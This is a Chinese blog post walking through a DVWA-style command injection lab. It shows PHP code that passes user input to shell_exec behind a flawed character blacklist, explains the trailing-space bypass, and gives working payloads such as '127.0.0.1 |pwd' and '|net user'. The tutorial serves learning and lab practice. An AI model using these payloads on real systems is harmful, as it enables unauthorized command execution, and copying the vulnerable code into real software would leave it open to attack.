命令注入漏洞

exec1

打开文件php文件。代码如下:

<?php

	// Get input 获取输入

	$target = $_REQUEST[ 'ip' ];
    // var_dump($target);
	$target=trim($target);
	// var_dump($target);
	// Set blacklist 设置黑名单
	$substitutions = array(
		'&'  => '',
		';' => '',
		'|' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);

	// Remove any of the charactars in the array (blacklist). 删除数组中的任何字符(黑名单)
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
	// var_dump($target);

	// Determine OS and execute the ping command. 确定操作系统并执行ping命令。
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 1 ' . $target );
	}

	// Feedback for the end user 对最终用户的反馈
	echo  "<pre>{$cmd}</pre>";
	

其实当你看到这些东西应该是很头晕的。
毕竟这些是后端代码,如果你不是学这个的但是你有点代码基础一步一步来。
把你看到的可以翻译的先翻译出来。
其实,大致代码,在他的注释中也有说明,但是我们现在是要知道改怎样知道破解,用什么养的方法来进行攻击。
第一步:知己知彼,百战不殆。我们发现在代码里面是有个函数,shell_exec发现是一个命令注入。
shell_exec()是一个反引号(`)操作符的变体,不输出结果,返回执行的结果。

命令注入:命令注入漏洞和SQL注入、XSS漏洞很相似,也是由于开发人员考虑不周造成的,在使用web应用程序执行系统命令的时候对用户输入的字符未进行过滤或过滤不严格导致的,常发生在具有执行系统命令的web应用中,如内容管理系统(CMS)等。

第二步:我们发现我们可以利用的所有的参数都被替换成空。现在主要是怎样去绕过这些参数执行我们的注入语句。这里要说明一下,这个靶场真垃圾,只能自己搭建的靶场来进行攻击,dvwa中的,在这里我就做一个简单的测试,应为你管测试的是high,还是low,但是你知道基本的原理了,就都知道了。
下面是我的靶场的代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = trim($_REQUEST[ 'ip' ]);

	// Set blacklist
	$substitutions = array(
		'&'  => '',
		';'  => '',
		'| ' => '',
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

说明一下啊,在这个代码中有个漏洞,是这个’| ’ => ‘’,多了一个空格,所以我们构建的payload是?id=127.0.0.1 |pwd.
在这里插入图片描述
这里,我们就发现可以执行我们的命令了。
再利用?ip=127.0.0.1 |net user 查看用户。
在这里插入图片描述
?ip=127.0.0.1 |ipconfig/all 查看IP信息。
在这里插入图片描述
现在基本上就是这些东西,只要你是用心去学,钻研都会懂的。

人类需要善于实践的人,这种人能由他们的工作取得最大利益;……但是人类也需要梦想者,这种人醉心于一种事业的大公无私的发展,因而不能注意自身的物质利益。——居里夫人

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值